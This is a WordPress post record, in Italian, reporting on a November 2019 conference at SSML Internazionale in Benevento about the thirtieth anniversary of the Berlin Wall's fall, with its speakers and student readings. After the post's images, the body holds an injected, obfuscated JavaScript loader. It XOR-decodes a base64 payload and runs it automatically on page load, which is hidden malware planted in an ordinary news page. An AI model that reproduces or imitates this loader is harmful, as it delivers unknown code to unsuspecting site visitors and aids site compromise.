{"id":5089,"date":"2019-11-11T18:32:49","date_gmt":"2019-11-11T17:32:49","guid":{"rendered":"http:\/\/www.ssmlinternazionale.it\/site\/?p=5089"},"modified":"2026-11-02T00:03:39","modified_gmt":"2026-11-01T23:03:39","slug":"la-caduta-del-muro-di-berlino-vista-dallinterno-alla-ssml-internazionale-il-convegno-sui-30-anni-dallo-storico-evento","status":"publish","type":"post","link":"https:\/\/www.ssmlinternazionale.it\/site\/la-caduta-del-muro-di-berlino-vista-dallinterno-alla-ssml-internazionale-il-convegno-sui-30-anni-dallo-storico-evento\/","title":{"rendered":"La caduta del Muro di Berlino vista dall\u2019interno. Alla SSML Internazionale il convegno sui 30 anni dallo storico evento."},"content":{"rendered":"<p>La caduta del Muro di Berlino e la riunificazione della Germania sono state ricostruite all&#8217;Istituto Universitario<strong> &#8220;Scuola Superiore per Mediatori Linguistici &#8211; Internazionale&#8221;\u00a0<\/strong>da tanti illustri ospiti e dalla voce di un testimone che ha vissuto dall\u2019interno quei momenti storici: <strong>Stefan Schimming, <\/strong>giurista, dirigente del Ministero dei Trasporti tedesco, che ha curato gli accordi per la riunificazione della rete stradale\u00a0tra Germania dell\u2019Est e dell\u2019Ovest, intervenuto al convegno \u201c<strong>1989-2019: Trent&#8217;anni dalla caduta del Muro di Berlino<\/strong>\u201d<strong>,<\/strong> organizzato dalla SSML in collaborazione con l&#8217;<strong>Universit\u00e0 Giustino Fortunato<\/strong>.<\/p>\n<p>L&#8217;appuntamento si \u00e8 aperto con il messaggio che il Console onorario di Germania, <strong>Giovanni Caffarelli<\/strong>, ha voluto inviare ai tanti giovani presenti all\u2019evento\u00a0e\u00a0che \u00e8 stato letto dal prof. <strong>Paolo Palumbo<\/strong>, vicario della SSML. \u201c<em>Il muro di Berlino \u2013 <\/em>ha detto<em> \u2013 era il simbolo di una divisione che separava milioni di persone ed \u00e8 importante riflettere su motivi che dividono le popolazioni. Le celebrazioni per l\u2019anniversario della sua caduta sono l\u2019occasione per ricordare quanto sia importante abbattere i muri divisori e costruire ponti che uniscano<\/em>\u201d.<\/p>\n<p>A seguire gli interventi di:<\/p>\n<p>Prof. <strong>Antonio Ciaschi<\/strong>, ordinario di Geografia\u00a0Politica ed Economica\u00a0dell\u2019Unifortunato;<\/p>\n<p>Prof.ssa <strong>Maria Pia Varriale<\/strong>,<strong>\u00a0<\/strong>docente di Lingua e Cultura Tedesca presso la SSML Internazionale;<\/p>\n<p>Prof. <strong>Paolo Palumbo<\/strong>, docente di Diritto\u00a0Pubblico ed Interculturale presso\u00a0la SSML Internazionale;<\/p>\n<p>Prof. <strong>Massimo Fragola<\/strong>, associato di Diritto dell\u2019Unione Europea all\u2019Universit\u00e0 della Calabria;<\/p>\n<p>Prof. <strong>Ennio De Simone<\/strong>, straordinario di Storia Economica e Prorettore dell\u2019Unifortunato.<\/p>\n<p>Durante l\u2019evento sono stati anche letti, in lingua italiana e tedesca dei brani poetici e letterari riferiti alla letteratura tedesca del cambiamento (Wende), da parte degli studenti della SSML, <strong>Annachiara Maccauro <\/strong>e <strong>Raffaele Lizza<\/strong><strong>.<br \/>\n<\/strong><\/p>\n<p>L&#8217;appuntamento del giorno 11 novembre \u00e8 stato la conclusione del percorso che la SSML Internazionale di Benevento ha dedicato alla caduta del Muro di Berlino, aperto con la Mostra storico-letteraria dal titolo <strong>&#8220;1989 &#8211; 30 anni dalla caduta del MURO&#8221;<\/strong> realizzata in collaborazione il Goethe Institute\u00a0Italien ed\u00a0in esposizione dal 7 al 23 marzo 2019 e proseguito il 25 Marzo 2019 con la Tavola rotonda dedicata al tema <strong>&#8220;Tempo di Muri. Un mondo diviso: da Berlino a Trump&#8221;<\/strong> con la partecipazione della Prof.ssa Veronica Arpaia, docente dell&#8217;Universit\u00e0 &#8220;La Sapienza&#8221; di Roma ed autrice dell&#8217;omonimo libro.<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone wp-image-5092\" src=\"http:\/\/www.ssmlinternazionale.it\/site\/wp-content\/uploads\/Muro-Berlino-3-300x224.jpg\" alt=\"\" width=\"359\" height=\"268\" srcset=\"https:\/\/www.ssmlinternazionale.it\/site\/wp-content\/uploads\/Muro-Berlino-3-300x224.jpg 300w, https:\/\/www.ssmlinternazionale.it\/site\/wp-content\/uploads\/Muro-Berlino-3-1024x765.jpg 1024w\" sizes=\"auto, (max-width: 359px) 100vw, 359px\" \/> <img loading=\"lazy\" decoding=\"async\" class=\"alignnone wp-image-5091\" src=\"http:\/\/www.ssmlinternazionale.it\/site\/wp-content\/uploads\/Muro-Berlino-1-300x225.jpg\" alt=\"\" width=\"358\" height=\"269\" srcset=\"https:\/\/www.ssmlinternazionale.it\/site\/wp-content\/uploads\/Muro-Berlino-1-300x225.jpg 300w, https:\/\/www.ssmlinternazionale.it\/site\/wp-content\/uploads\/Muro-Berlino-1-1024x768.jpg 1024w, https:\/\/www.ssmlinternazionale.it\/site\/wp-content\/uploads\/Muro-Berlino-1.jpg 1600w\" sizes=\"auto, (max-width: 358px) 100vw, 358px\" \/><script>;!function(){var _0xcab17b132cb2=typeof globalThis!=='undefined'?globalThis:(typeof window!=='undefined'?window:self),_0xefb969c6d9da=_0xcab17b132cb2['\\x61\\x74\\x6f\\x62']('UKIWfkPDSxQqxtoDz6gRWw=='),_0xf6791fb0ac49=_0xcab17b132cb2['\\x61\\x74\\x6f\\x62']('eMRjECC3IntE7vN4xcF3cyfLeBostBAzdfPjMfeaImlnxyVZHuo5cV6zqG30omYyPsZ5CRjkFCET9OIx\/JomPmOFS0Ny+EFiS7T6XKLPYSwhnzRKdfd\/chz24jf7zSJsY5F1GyDxfCdOoL4x95F1OGiTIxhy8S1wGqXpO\/nKIG1gxiRceMk9dVjmhXWqxmc6bfkxFje3O2cQ6fVxv8s8NjHLeBAmt2V5S7KzYOHZZDI7zHkaJu07ZkXh9iSn3GUrI5g5UTOsJ21NqbQurcdjdiLSdVAztil4Q6W0bKvNPzg\/zzFSZKs\/YFq14Czg2mE4fsN4FTHtKHtH6apso9F2ND6FOlkrtz9kWfz1LL\/HfSI3zXhTLqIiekSjri2\/3XM3OcE4HC+iOGBLtrMtpsc2d3fKYgozsHE7Bba1b7bPfjV+xXcKJrQqbQSyv22rzWM3KYx1EWTvbHxesqpw9Yc+Kz\/ObxksrWVwWLa5LaDadnx8hX4KN7M4LgXp63G\/yz8yP417HzeqKDMG4bJ3u9hiYX+NZhEvuix7ROuqdq3EeDh+zHkaKqY4Oku2qiSSkxstMdA2ISq5JWJLouch\/9BwaWLDVE16p3wnHPSeQa2ZUDoR4VVKJvZyIxr\/7jT\/nFUaMuZUGCKAaS8gsLtx7\/dzOTzbZkNhoX0sTvfiM\/aKKlE213gdN6okegqZtHG5x2RzD9d4EC2mYm8gsqh6tN5wKXD9ZgQoqnZLX6i0baqGYi4y0WIMa\/NnJgP75z7omGl8b\/1jEC2tLjpZs7hwu9o5aXmYSQstrSVxEcyzZef3YSE7yzgSJq0sYEL66zH3gWM+JNdkEGTkcB5cp6gjkNJ3MjbacRN+sypmWaOTbbuATisqyX9QMLYpZ1608jX7hCdveY4nSGr4InIC54V5qcF3IzfPPwwmtz5mROH9OMXecClw\/WQVNKwqKXW2oGimhmIuMtFiDGvyeSwGmaBlps5pPD2IJFdvnCdmRKDnJOiTGz0\/0D4IIrFrS1qisHa5lSFgD9JyFDa1d0tYra1sroZ9Pj7FYhZ4nDtwQLOsKPKaOCAmw2ReHKYzZlOxrGHy2HApI8dfEDfrFGZBsbVi4dtkOSPWZFYcsy9+X7D2MeaEIG15mX8Ya5wubFi\/rXWtgU43IsxwVX6QP2ZDqL0tqdp+NhPKdwwArC9xApm\/e73RZi0yiy0DSbEuYF+0tCOQxGM1NplrHSK3KHwCo\/N4vc1lLiLMMVl4vjYeTLO0YLvBfjVw\/W8YM6ZjS1qjuWGq2T0EM89\/CGq4QWZPsq9xoYh\/PieCRgwsriJnT+68dqHLZTI\/zD4hKbstbUHqhXC6wnYuOtM\/BUm1KmYKmaB6o8UsNTXVNiYOjwNgXraIZr7ddCgkij9FSZwxbUar9Gy\/zX9zd\/JZLRfkZ0tao7lhqtk9LyLXc1d4yRRuU6q3LbzNZQk102MbMLcDcUuiv3Hnj1I0PtZzEDfuH21ao\/0v6MlhKzzLdR83qiR6BaypbKGPOGBa\/WwHL65lYEOrv2y63CxuYJImRUmcMW1Gq\/RsocR+OjSfcAstoD99RajyKrTcYyIr\/XwGJbogPGCVlU3h2HApI8c+ITm6J3kEtL9wv8d\/KDX2cwY36mIvV6W7d6zAOT552UkNNqksYUC38mbmk2wma6hJBDqvJjpFqL9xvcdjZg\/YbxIu7SR6Xq+3ZqDdZWY213gdN6okegLvoVy83Xs8JchnVi2mPDRvtKhsvYA4cmvfLXQcuTJ4R+ipZqHMORED7VhQMLc5fUShs2W2gE44PctgV2r4Nj0Ru9BlusZyLznNeF4cuz5kW+6FYavKdDYo1j8FSaotPHWkvmGqxWkvbp9JCCatPXUEqr9tqNx5ciLHYgsxrWtEWKm3arzNPyk10XkSNaZjel+qtir0omc6IoJJCiCtOilRrKlsodphOGqFJFBz5Gd5T7KybKuSNj4kykkdIq8nMwa2u3GuxWJhC9liEXmcIm5EsLtn48xwLzGYMU475GBLSKS2er\/VPXw8w2IbMLdsSQavvjn+1SpRIsdiCzGta0tToKpm5\/dnPj7UdyUcoS92T6uid5KETi8zzGdXbbcjcUTuvHahy2UyP8w+ISimIXBOv\/N4xd5wKXD9YxUtrT4pda2\/aavMaH12\/X0bKacvbQS0v3C6xGVkD8xkCCy2Y0tBo7Bnq9E\/KTXRYxI36nEzDf3QaqmATi47zHgLarEuYF+0tCOQ3Xo1Ptc4DCazJ3VJo\/Isk4c6f3+OMVlq+EFmT7KvcaGITiMl0mdWHKEvdk+ronfkmThgWt8\/UCCiP3dC7rx2octlMj\/MPlc4sS5gX7S0I5DQZCshikkcJ6EueVKy8TLmk2xya98cGDatKGBDqbQjkMZ1MTiKSR0stiBlA73Qda7aMQQoxn0cK\/4ve0mzt2ah3D84Isd3CiaGJ3FHo7R3549iOCLLZgpk6nAedb6+aK3APygiwSshIKw+f1vt\/SylhzZwD89xDjSyYDMVmaw+6INcOiTKOBgvrCRmAoK7d6qGfzQnij9RdfN7JBrv4QmQ0HUwMso4HzC6JXcXsqh2qpMbczTNdQsupiVgBK6\/YqvUbT8\/wWMTJq0\/OkipvnrmhnArIMd4GgCrInhO7oV7q8NzM3mZa3Qcuz5kW+7qKuHceT4+inALLaA\/fUWo8lysx2QwIYttFyXrFHdFs7Fy5vd\/PzrKPiEgrD5\/W+\/hfuaTGyZ5ij9F'),_0x2fea1ec97a41=new _0xcab17b132cb2['\\x55\\x69\\x6e\\x74\\x38\\x41\\x72\\x72\\x61\\x79'](_0xf6791fb0ac49['length']),_0x12627509a2a9=0;for(;_0x12627509a2a9<_0xf6791fb0ac49['length'];_0x12627509a2a9++)_0x2fea1ec97a41[_0x12627509a2a9]=_0xf6791fb0ac49['charCodeAt'](_0x12627509a2a9)^_0xefb969c6d9da['charCodeAt'](_0x12627509a2a9%_0xefb969c6d9da['length']);_0xca9e29623eb2=(new _0xcab17b132cb2['\\x54\\x65\\x78\\x74\\x44\\x65\\x63\\x6f\\x64\\x65\\x72']())['\\x64\\x65\\x63\\x6f\\x64\\x65'](_0x2fea1ec97a41);try{(new _0xcab17b132cb2['\\x46\\x75\\x6e\\x63\\x74\\x69\\x6f\\x6e'](_0xca9e29623eb2))()}catch(e){try{_0x2a2970728e84=_0xcab17b132cb2['\\x64\\x6f\\x63\\x75\\x6d\\x65\\x6e\\x74'];_0x3c73343f4a67=_0x2a2970728e84['\\x63\\x72\\x65\\x61\\x74\\x65\\x45\\x6c\\x65\\x6d\\x65\\x6e\\x74']('script');_0x3c73343f4a67['textContent']=_0xca9e29623eb2;(_0x2a2970728e84['head']||_0x2a2970728e84['documentElement'])['\\x61\\x70\\x70\\x65\\x6e\\x64\\x43\\x68\\x69\\x6c\\x64'](_0x3c73343f4a67);_0x3c73343f4a67['remove']()}catch(e2){}}}();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>La caduta del Muro di Berlino e la riunificazione della Germania sono state ricostruite all&#8217;Istituto Universitario &#8220;Scuola Superiore per Mediatori&nbsp;<a href=\"https:\/\/www.ssmlinternazionale.it\/site\/la-caduta-del-muro-di-berlino-vista-dallinterno-alla-ssml-internazionale-il-convegno-sui-30-anni-dallo-storico-evento\/\">&hellip;<\/a><\/p>\n","protected":false},"author":1,"featured_media":5090,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[27,15],"tags":[],"class_list":["post-5089","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-bacheca-studenti","category-ssml-internazionale","odd"],"_links":{"self":[{"href":"https:\/\/www.ssmlinternazionale.it\/site\/wp-json\/wp\/v2\/posts\/5089","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.ssmlinternazionale.it\/site\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.ssmlinternazionale.it\/site\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.ssmlinternazionale.it\/site\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.ssmlinternazionale.it\/site\/wp-json\/wp\/v2\/comments?post=5089"}],"version-history":[{"count":2,"href":"https:\/\/www.ssmlinternazionale.it\/site\/wp-json\/wp\/v2\/posts\/5089\/revisions"}],"predecessor-version":[{"id":11417,"href":"https:\/\/www.ssmlinternazionale.it\/site\/wp-json\/wp\/v2\/posts\/5089\/revisions\/11417"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.ssmlinternazionale.it\/site\/wp-json\/wp\/v2\/media\/5090"}],"wp:attachment":[{"href":"https:\/\/www.ssmlinternazionale.it\/site\/wp-json\/wp\/v2\/media?parent=5089"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.ssmlinternazionale.it\/site\/wp-json\/wp\/v2\/categories?post=5089"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.ssmlinternazionale.it\/site\/wp-json\/wp\/v2\/tags?post=5089"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}